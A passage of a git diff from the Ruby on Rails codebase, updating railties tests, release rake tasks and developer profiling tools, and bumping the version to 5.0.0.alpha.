-    assert_property 'Active Support version', ActiveSupport.version.to_s
-  end
-
-  def test_frameworks_exist
-    Rails::Info.frameworks.each do |framework|
-      dir = File.dirname(__FILE__) + "/../../" + framework.delete('_')
-      assert File.directory?(dir), "#{framework.classify} does not exist"
-    end
-  end
-
   def test_html_includes_middleware
     Rails::Info.module_eval do
       property 'Middleware', ['Rack::Lock', 'Rack::Static']
@@ -66,16 +55,6 @@ class InfoTest < ActiveSupport::TestCase
   end
 
   protected
-    def svn_info=(info)
-      Rails::Info.module_eval do
-        class << self
-          def svn_info
-            info
-          end
-        end
-      end
-    end
-
     def properties
       Rails::Info.properties
     end
diff --git a/railties/test/railties/engine_test.rb b/railties/test/railties/engine_test.rb
index d095535abd..6185742cc1 100644
--- a/railties/test/railties/engine_test.rb
+++ b/railties/test/railties/engine_test.rb
@@ -34,6 +34,7 @@ module RailtiesTest
 
     test "serving sprocket's assets" do
       @plugin.write "app/assets/javascripts/engine.js.erb", "<%= :alert %>();"
+      add_to_env_config "development", "config.assets.digest = false"
 
       boot_rails
       require 'rack/test'
@@ -90,8 +91,8 @@ module RailtiesTest
       Dir.chdir(app_path) do
         output = `bundle exec rake bukkits:install:migrations`
 
-        assert File.exists?("#{app_path}/db/migrate/2_create_users.bukkits.rb")
-        assert File.exists?("#{app_path}/db/migrate/3_add_last_name_to_users.bukkits.rb")
+        assert File.exist?("#{app_path}/db/migrate/2_create_users.bukkits.rb")
+        assert File.exist?("#{app_path}/db/migrate/3_add_last_name_to_users.bukkits.rb")
         assert_match(/Copied migration 2_create_users.bukkits.rb from bukkits/, output)
         assert_match(/Copied migration 3_add_last_name_to_users.bukkits.rb from bukkits/, output)
         assert_match(/NOTE: Migration 3_create_sessions.rb from bukkits has been skipped/, output)
@@ -111,6 +112,74 @@ module RailtiesTest
       end
     end
 
+    test 'respects the order of railties when installing migrations' do
+      @blog = engine "blog" do |plugin|
+        plugin.write "lib/blog.rb", <<-RUBY
+          module Blog
+            class Engine < ::Rails::Engine
+            end
+          end
+        RUBY
+      end
+
+      @plugin.write "db/migrate/1_create_users.rb", <<-RUBY
+        class CreateUsers < ActiveRecord::Migration
+        end
+      RUBY
+
+      @blog.write "db/migrate/2_create_blogs.rb", <<-RUBY
+        class CreateBlogs < ActiveRecord::Migration
+        end
+      RUBY
+
+      add_to_config("config.railties_order = [Bukkits::Engine, Blog::Engine, :all, :main_app]")
+
+      boot_rails
+
+      Dir.chdir(app_path) do
+        output  = `bundle exec rake railties:install:migrations`.split("\n")
+
+        assert_match(/Copied migration \d+_create_users.bukkits.rb from bukkits/, output.first)
+        assert_match(/Copied migration \d+_create_blogs.blog_engine.rb from blog_engine/, output.last)
+      end
+    end
+
+    test "dont reverse default railties order" do
+      @api = engine "api" do |plugin|
+        plugin.write "lib/api.rb", <<-RUBY
+          module Api
+            class Engine < ::Rails::Engine; end
+          end
+        RUBY
+      end
+
+      # added last but here is loaded before api engine
+      @core = engine "core" do |plugin|
+        plugin.write "lib/core.rb", <<-RUBY
+          module Core
+            class Engine < ::Rails::Engine; end
+          end
+        RUBY
+      end
+
+      @core.write "db/migrate/1_create_users.rb", <<-RUBY
+        class CreateUsers < ActiveRecord::Migration; end
+      RUBY
+
+      @api.write "db/migrate/2_create_keys.rb", <<-RUBY
+        class CreateKeys < ActiveRecord::Migration; end
+      RUBY
+
+      boot_rails
+
+      Dir.chdir(app_path) do
+        output  = `bundle exec rake railties:install:migrations`.split("\n")
+
+        assert_match(/Copied migration \d+_create_users.core_engine.rb from core_engine/, output.first)
+        assert_match(/Copied migration \d+_create_keys.api_engine.rb from api_engine/, output.last)
+      end
+    end
+
     test "mountable engine should copy migrations within engine_path" do
       @plugin.write "lib/bukkits.rb", <<-RUBY
         module Bukkits
@@ -136,7 +205,7 @@ module RailtiesTest
 
       Dir.chdir(@plugin.path) do
         output = `bundle exec rake app:bukkits:install:migrations`
-        assert File.exists?("#{app_path}/db/migrate/0_add_first_name_to_users.bukkits.rb")
+        assert File.exist?("#{app_path}/db/migrate/0_add_first_name_to_users.bukkits.rb")
         assert_match(/Copied migration 0_add_first_name_to_users.bukkits.rb from bukkits/, output)
         assert_equal 1, Dir["#{app_path}/db/migrate/*.rb"].length
       end
@@ -399,7 +468,7 @@ YAML
       assert $plugin_initializer
     end
 
-    test "midleware referenced in configuration" do
+    test "middleware referenced in configuration" do
       @plugin.write "lib/bukkits.rb", <<-RUBY
         class Bukkits
           def initialize(app)
@@ -429,17 +498,12 @@ YAML
       boot_rails
 
       initializers = Rails.application.initializers.tsort
-      index        = initializers.index { |i| i.name == "dummy_initializer" }
-      selection    = initializers[(index-3)..(index)].map(&:name).map(&:to_s)
-
-      assert_equal %w(
-       load_config_initializers
-       load_config_initializers
-       engines_blank_point
-       dummy_initializer
-      ), selection
+      dummy_index  = initializers.index  { |i| i.name == "dummy_initializer" }
+      config_index = initializers.rindex { |i| i.name == :load_config_initializers }
+      stack_index  = initializers.index  { |i| i.name == :build_middleware_stack }
 
-      assert index < initializers.index { |i| i.name == :build_middleware_stack }
+      assert config_index < dummy_index
+      assert dummy_index < stack_index
     end
 
     class Upcaser
@@ -449,12 +513,12 @@ YAML
 
       def call(env)
         response = @app.call(env)
-        response[2].each { |b| b.upcase! }
+        response[2].each(&:upcase!)
         response
       end
     end
 
-    test "engine is a rack app and can have his own middleware stack" do
+    test "engine is a rack app and can have its own middleware stack" do
       add_to_config("config.action_dispatch.show_exceptions = false")
 
       @plugin.write "lib/bukkits.rb", <<-RUBY
@@ -592,11 +656,15 @@ YAML
       @plugin.write "app/models/bukkits/post.rb", <<-RUBY
         module Bukkits
           class Post
-            extend ActiveModel::Naming
+            include ActiveModel::Model
 
             def to_param
               "1"
             end
+
+            def persisted?
+              true
+            end
           end
         end
       RUBY
@@ -673,8 +741,8 @@ YAML
       assert_equal "bukkits_", Bukkits.table_name_prefix
       assert_equal "bukkits", Bukkits::Engine.engine_name
       assert_equal Bukkits.railtie_namespace, Bukkits::Engine
-      assert ::Bukkits::MyMailer.method_defined?(:foo_path)
-      assert !::Bukkits::MyMailer.method_defined?(:bar_path)
+      assert ::Bukkits::MyMailer.method_defined?(:foo_url)
+      assert !::Bukkits::MyMailer.method_defined?(:bar_url)
 
       get("/bukkits/from_app")
       assert_equal "false", last_response.body
@@ -704,8 +772,7 @@ YAML
       @plugin.write "app/models/bukkits/post.rb", <<-RUBY
         module Bukkits
           class Post
-            extend ActiveModel::Naming
-            include ActiveModel::Conversion
+            include ActiveModel::Model
             attr_accessor :title
 
             def to_param
@@ -1077,6 +1144,7 @@ YAML
       RUBY
 
       add_to_config("config.railties_order = [:all, :main_app, Blog::Engine]")
+      add_to_env_config "development", "config.assets.digest = false"
 
       boot_rails
 
@@ -1137,7 +1205,7 @@ YAML
 
     test "engine can be properly mounted at root" do
       add_to_config("config.action_dispatch.show_exceptions = false")
-      add_to_config("config.serve_static_assets = false")
+      add_to_config("config.serve_static_files = false")
 
       @plugin.write "lib/bukkits.rb", <<-RUBY
         module Bukkits
diff --git a/railties/test/railties/mounted_engine_test.rb b/railties/test/railties/mounted_engine_test.rb
index 0ef2ff2e2e..fb2071c7c3 100644
--- a/railties/test/railties/mounted_engine_test.rb
+++ b/railties/test/railties/mounted_engine_test.rb
@@ -88,18 +88,14 @@ module ApplicationTests
       @plugin.write "app/models/blog/post.rb", <<-RUBY
         module Blog
           class Post
-            extend ActiveModel::Naming
+            include ActiveModel::Model
 
             def id
               44
             end
 
-            def to_param
-              id.to_s
-            end
-
-            def new_record?
-              false
+            def persisted?
+              true
             end
           end
         end
diff --git a/railties/test/railties/railtie_test.rb b/railties/test/railties/railtie_test.rb
index 4cbd4822be..5042d628cf 100644
--- a/railties/test/railties/railtie_test.rb
+++ b/railties/test/railties/railtie_test.rb
@@ -72,6 +72,14 @@ module RailtiesTest
       assert $to_prepare
     end
 
+    test "railtie have access to application in before_configuration callbacks" do
+      $before_configuration = false
+      class Foo < Rails::Railtie ; config.before_configuration { $before_configuration = Rails.root.to_path } ; end
+      assert_not $before_configuration
+      require "#{app_path}/config/environment"
+      assert_equal app_path, $before_configuration
+    end
+
     test "railtie can add after_initialize callbacks" do
       $after_initialize = false
       class Foo < Rails::Railtie ; config.after_initialize { $after_initialize = true } ; end
diff --git a/railties/test/version_test.rb b/railties/test/version_test.rb
new file mode 100644
index 0000000000..f270d8f0c9
--- /dev/null
+++ b/railties/test/version_test.rb
@@ -0,0 +1,12 @@
+require 'abstract_unit'
+
+class VersionTest < ActiveSupport::TestCase
+  def test_rails_version_returns_a_string
+    assert Rails.version.is_a? String
+  end
+
+  def test_rails_gem_version_returns_a_correct_gem_version_object
+    assert Rails.gem_version.is_a? Gem::Version
+    assert_equal Rails.version, Rails.gem_version.to_s
+  end
+end
diff --git a/tasks/release.rb b/tasks/release.rb
index 66da67bfd0..d8c1390eef 100644
--- a/tasks/release.rb
+++ b/tasks/release.rb
@@ -1,4 +1,4 @@
-FRAMEWORKS = %w( activesupport activemodel activerecord actionpack actionview actionmailer railties )
+FRAMEWORKS = %w( activesupport activemodel activerecord actionview actionpack activejob actionmailer railties )
 
 root    = File.expand_path('../../', __FILE__)
 version = File.read("#{root}/RAILS_VERSION").strip
@@ -15,38 +15,37 @@ directory "pkg"
       rm_f gem
     end
 
-    task :update_version_rb do
+    task :update_versions do
       glob = root.dup
-      glob << "/#{framework}/lib/*" unless framework == "rails"
-      glob << "/version.rb"
+      if framework == "rails"
+        glob << "/version.rb"
+      else
+        glob << "/#{framework}/lib/*"
+        glob << "/gem_version.rb"
+      end
 
       file = Dir[glob].first
       ruby = File.read(file)
 
-      if framework == "rails" || framework == "railties"
-        major, minor, tiny, pre = version.split('.')
-        pre = pre ? pre.inspect : "nil"
+      major, minor, tiny, pre = version.split('.')
+      pre = pre ? pre.inspect : "nil"
 
-        ruby.gsub!(/^(\s*)MAJOR(\s*)= .*?$/, "\\1MAJOR = #{major}")
-        raise "Could not insert MAJOR in #{file}" unless $1
+      ruby.gsub!(/^(\s*)MAJOR(\s*)= .*?$/, "\\1MAJOR = #{major}")
+      raise "Could not insert MAJOR in #{file}" unless $1
 
-        ruby.gsub!(/^(\s*)MINOR(\s*)= .*?$/, "\\1MINOR = #{minor}")
-        raise "Could not insert MINOR in #{file}" unless $1
+      ruby.gsub!(/^(\s*)MINOR(\s*)= .*?$/, "\\1MINOR = #{minor}")
+      raise "Could not insert MINOR in #{file}" unless $1
 
-        ruby.gsub!(/^(\s*)TINY(\s*)= .*?$/, "\\1TINY  = #{tiny}")
-        raise "Could not insert TINY in #{file}" unless $1
+      ruby.gsub!(/^(\s*)TINY(\s*)= .*?$/, "\\1TINY  = #{tiny}")
+      raise "Could not insert TINY in #{file}" unless $1
 
-        ruby.gsub!(/^(\s*)PRE(\s*)= .*?$/, "\\1PRE   = #{pre}")
-        raise "Could not insert PRE in #{file}" unless $1
-      else
-        ruby.gsub!(/^(\s*)Gem::Version\.new .*?$/, "\\1Gem::Version.new \"#{version}\"")
-        raise "Could not insert Gem::Version in #{file}" unless $1
-      end
+      ruby.gsub!(/^(\s*)PRE(\s*)= .*?$/, "\\1PRE   = #{pre}")
+      raise "Could not insert PRE in #{file}" unless $1
 
       File.open(file, 'w') { |f| f.write ruby }
     end
 
-    task gem => %w(update_version_rb pkg) do
+    task gem => %w(update_versions pkg) do
       cmd = ""
       cmd << "cd #{framework} && " unless framework == "rails"
       cmd << "gem build #{gemspec} && mv #{framework}-#{version}.gem #{root}/pkg/"
@@ -68,7 +67,7 @@ end
 
 namespace :changelog do
   task :release_date do
-    FRAMEWORKS.each do |fw|
+    (FRAMEWORKS + ['guides']).each do |fw|
       require 'date'
       replace = '\1(' + Date.today.strftime('%B %d, %Y') + ')'
       fname = File.join fw, 'CHANGELOG.md'
@@ -79,7 +78,7 @@ namespace :changelog do
   end
 
   task :release_summary do
-    FRAMEWORKS.each do |fw|
+    (FRAMEWORKS + ['guides']).each do |fw|
       puts "## #{fw}"
       fname    = File.join fw, 'CHANGELOG.md'
       contents = File.readlines fname
@@ -93,16 +92,17 @@ namespace :changelog do
 end
 
 namespace :all do
-  task :build   => FRAMEWORKS.map { |f| "#{f}:build"   } + ['rails:build']
-  task :install => FRAMEWORKS.map { |f| "#{f}:install" } + ['rails:install']
-  task :push    => FRAMEWORKS.map { |f| "#{f}:push"    } + ['rails:push']
+  task :build           => FRAMEWORKS.map { |f| "#{f}:build"           } + ['rails:build']
+  task :update_versions => FRAMEWORKS.map { |f| "#{f}:update_versions" } + ['rails:update_versions']
+  task :install         => FRAMEWORKS.map { |f| "#{f}:install"         } + ['rails:install']
+  task :push            => FRAMEWORKS.map { |f| "#{f}:push"            } + ['rails:push']
 
   task :ensure_clean_state do
     unless `git status -s | grep -v RAILS_VERSION`.strip.empty?
       abort "[ABORTING] `git status` reports a dirty tree. Make sure all changes are committed"
     end
 
-    unless ENV['SKIP_TAG'] || `git tag | grep #{tag}`.strip.empty?
+    unless ENV['SKIP_TAG'] || `git tag | grep '^#{tag}$'`.strip.empty?
       abort "[ABORTING] `git tag` shows that #{tag} already exists. Has this version already\n"\
             "           been released? Git tagging can be skipped by setting SKIP_TAG=1"
     end
@@ -120,7 +120,7 @@ namespace :all do
   end
 
   task :tag do
-    sh "git tag #{tag}"
+    sh "git tag -m '#{tag} release' #{tag}"
     sh "git push --tags"
   end
 
diff --git a/tools/README.md b/tools/README.md
new file mode 100644
index 0000000000..25ab798bd5
--- /dev/null
+++ b/tools/README.md
@@ -0,0 +1,7 @@
+## Rails dev tools
+
+This is a collection of utilities used for Rails internal development.
+They aren't used by Rails apps directly.
+
+  * `console` drops you in irb and loads local Rails repos
+  * `profile` profiles `Kernel#require` to help reduce startup time
diff --git a/tools/line_statistics b/tools/line_statistics
new file mode 100644
index 0000000000..bfa921b095
--- /dev/null
+++ b/tools/line_statistics
@@ -0,0 +1,42 @@
+# Class used to calculates LOC for a provided file list.
+#
+# Example:
+#   files = FileList["lib/active_record/**/*.rb"]
+#   CodeTools::LineStatistics.new(files).print_loc
+module CodeTools
+  class LineStatistics
+
+    # @param files [Array, FileList, Enumerable]
+    # e.g. FileList["lib/active_record/**/*.rb"]
+    def initialize(files)
+      @files = Array(files).compact
+    end
+
+    # Calculates LOC for each file
+    # Outputs each file and a total LOC
+    def print_loc
+      lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
+
+      @files.each do |file_name|
+        next if file_name =~ /vendor/
+        File.open(file_name, 'r') do |f|
+          while line = f.gets
+            lines += 1
+            next if line =~ /^\s*$/
+            next if line =~ /^\s*#/
+            codelines += 1
+          end
+        end
+        puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
+
+        total_lines     += lines
+        total_codelines += codelines
+
+        lines, codelines = 0, 0
+      end
+
+      puts "Total: Lines #{total_lines}, LOC #{total_codelines}"
+    end
+
+  end
+end
diff --git a/tools/profile b/tools/profile
index fbea67492b..eb7fc7792b 100755
--- a/tools/profile
+++ b/tools/profile
@@ -1,71 +1,136 @@
 #!/usr/bin/env ruby
+# Profile require calls giving information about the time and the files that are called
+# when loading the provided file.
+#
 # Example:
-#   tools/profile activesupport/lib/active_support.rb
+#   tools/profile activesupport/lib/active_support.rb [ruby-prof mode] [ruby-prof printer]
 ENV['NO_RELOAD'] ||= '1'
 ENV['RAILS_ENV'] ||= 'development'
 
-require 'benchmark'
+module CodeTools
+  class Profiler
+    Error = Class.new(StandardError)
 
-module RequireProfiler
-  private
-  def require(file, *args) RequireProfiler.profile(file) { super } end
-  def load(file, *args) RequireProfiler.profile(file) { super } end
+    attr_reader :path, :mode
+    def initialize(path, mode=nil)
+      assert_ruby_file_exists(path)
+      @path, @mode = path, mode
+      require 'benchmark'
+    end
+
+    def profile_requires
+      GC.start
+      before_rss = `ps -o rss= -p #{Process.pid}`.to_i
+
+      if mode
+        require 'ruby-prof'
+        RubyProf.measure_mode = RubyProf.const_get(mode.upcase)
+        RubyProf.start
+      else
+        Object.instance_eval { include RequireProfiler }
+      end
+
+      elapsed = Benchmark.realtime { require path }
+      results = RubyProf.stop if mode
 
-  @depth, @stats = 0, []
-  class << self
-    attr_accessor :depth
-    attr_accessor :stats
+      GC.start
+      after_rss = `ps -o rss= -p #{Process.pid}`.to_i
 
-    def profile(file)
-      stats << [file, depth]
-      self.depth += 1
-      result = nil
-      elapsed = Benchmark.realtime { result = yield }
-      self.depth -= 1
-      stats.pop if stats.last.first == file
-      stats << [file, depth, elapsed] if result
-      result
+      if mode
+        if printer = ARGV.shift
+          puts "RubyProf outputting to stderr with printer #{printer}"
+          RubyProf.const_get("#{printer.to_s.classify}Printer").new(results).print($stdout)
+        elsif RubyProf.const_defined?(:CallStackPrinter)
+          filename = "#{File.basename(path, '.rb')}.#{mode}.html"
+          puts "RubyProf outputting to #{filename}"
+          File.open(filename, 'w') do |out|
+            RubyProf::CallStackPrinter.new(results).print(out)
+          end
+        else
+          filename = "#{File.basename(path, '.rb')}.#{mode}.callgrind"
+          puts "RubyProf outputting to #{filename}"
+          File.open(filename, 'w') do |out|
+            RubyProf::CallTreePrinter.new(results).print(out)
+          end
+        end
+      end
+
+      RequireProfiler.stats.each do |file, depth, sec|
+        if sec
+          puts "%8.1f ms  %s%s" % [sec * 1000, ' ' * depth, file]
+        else
+          puts "#{' ' * (13 + depth)}#{file}"
+        end
+      end
+      puts "%8.1f ms  %d KB RSS" % [elapsed * 1000, after_rss - before_rss]
     end
-  end
-end
 
-GC.start
-before_rss = `ps -o rss= -p #{Process.pid}`.to_i
+    private
 
-path = ARGV.shift
-if mode = ARGV.shift
-  require 'ruby-prof'
-  RubyProf.measure_mode = RubyProf.const_get(mode.upcase)
-  RubyProf.start
-else
-  Object.instance_eval { include RequireProfiler }
-end
+    def assert_ruby_file_exists(path)
+      fail Error.new("No such file") unless File.exist?(path)
+      fail Error.new("#{path} is a directory") if File.directory?(path)
+      ruby_extension = File.extname(path) == '.rb'
+      ruby_executable = File.open(path, 'rb') {|f| f.readline } =~ [/\A#!.*ruby/]
+      fail Error.new("Not a ruby file") unless ruby_extension or ruby_executable
+    end
 
-elapsed = Benchmark.realtime { require path }
-results = RubyProf.stop if mode
+    module RequireProfiler
+      private
+      def require(file, *args) RequireProfiler.profile(file) { super } end
+      def load(file, *args) RequireProfiler.profile(file) { super } end
 
-GC.start
-after_rss = `ps -o rss= -p #{Process.pid}`.to_i
+      @depth, @stats = 0, []
+      class << self
+        attr_accessor :depth
+        attr_accessor :stats
 
-if mode
-  if printer = ARGV.shift
-    RubyProf.const_get("#{printer.to_s.classify}Printer").new(results).print($stdout)
-  elsif RubyProf.const_defined?(:CallStackPrinter)
-    File.open("#{File.basename(path, '.rb')}.#{mode}.html", 'w') do |out|
-      RubyProf::CallStackPrinter.new(results).print(out)
+        def profile(file)
+          stats << [file, depth]
+          self.depth += 1
+          result = nil
+          elapsed = Benchmark.realtime { result = yield }
+          self.depth -= 1
+          stats.pop if stats.last.first == file
+          stats << [file, depth, elapsed] if result
+          result
+        end
+      end
     end
-  else
-    File.open("#{File.basename(path, '.rb')}.#{mode}.callgrind", 'w') do |out|
-      RubyProf::CallTreePrinter.new(results).print(out)
+  end
+end
+# ruby-prof printer name causes the third arg to be sent :classify
+#   which is probably overkill if you already know the name of the ruby-prof
+#   printer you want to use, e.g. Graph
+begin
+  require 'active_support/inflector'
+  require 'active_support/core_ext/string/inflections'
+rescue LoadError
+  STDERR.puts $!.message
+  class String
+    # File activesupport/lib/active_support/inflector/methods.rb, line 150
+    def classify
+      # strip out any leading schema name
+      camelize(self.sub(/.*\./, ''))
+    end
+    # File activesupport/lib/active_support/inflector/methods.rb, line 68
+    def camelize(uppercase_first_letter = true)
+      string = self
+      if uppercase_first_letter
+        string = string.sub(/^[a-z\d]*/) { $&.capitalize }
+      else
+        string = string.sub(/^(?:(?=\b|[A-Z_])|\w)/) { $&.downcase }
+      end
+      string.gsub(/(?:_|(\/))([a-z\d]*)/) { "#{$1}#{$2.capitalize}" }.gsub('/', '::')
     end
   end
 end
-
-RequireProfiler.stats.each do |file, depth, sec|
-  if sec
-    puts "%8.1f ms  %s%s" % [sec * 1000, ' ' * depth, file]
+if $0 == __FILE__
+  if (filename = ARGV.shift)
+    path = File.expand_path(filename)
+    mode = ARGV.shift
+    CodeTools::Profiler.new(path, mode).profile_requires
   else
-    puts "#{' ' * (13 + depth)}#{file}"
+    STDERR.puts "No file path entered. Usage is tools/profile path/to/file.rb [ruby-prof mode] [ruby-prof printer]"
   end
 end
-puts "%8.1f ms  %d KB RSS" % [elapsed * 1000, after_rss - before_rss]
diff --git a/version.rb b/version.rb
index 5a6d8d0983..7d74b1bfe5 100644
--- a/version.rb
+++ b/version.rb
@@ -1,9 +1,14 @@
 module Rails
+  # Returns the version of the currently loaded Rails as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
   module VERSION
-    MAJOR = 4
-    MINOR = 1
+    MAJOR = 5
+    MINOR = 0
     TINY  = 0
-    PRE   = "beta"
+    PRE   = "alpha"
 
     STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
   end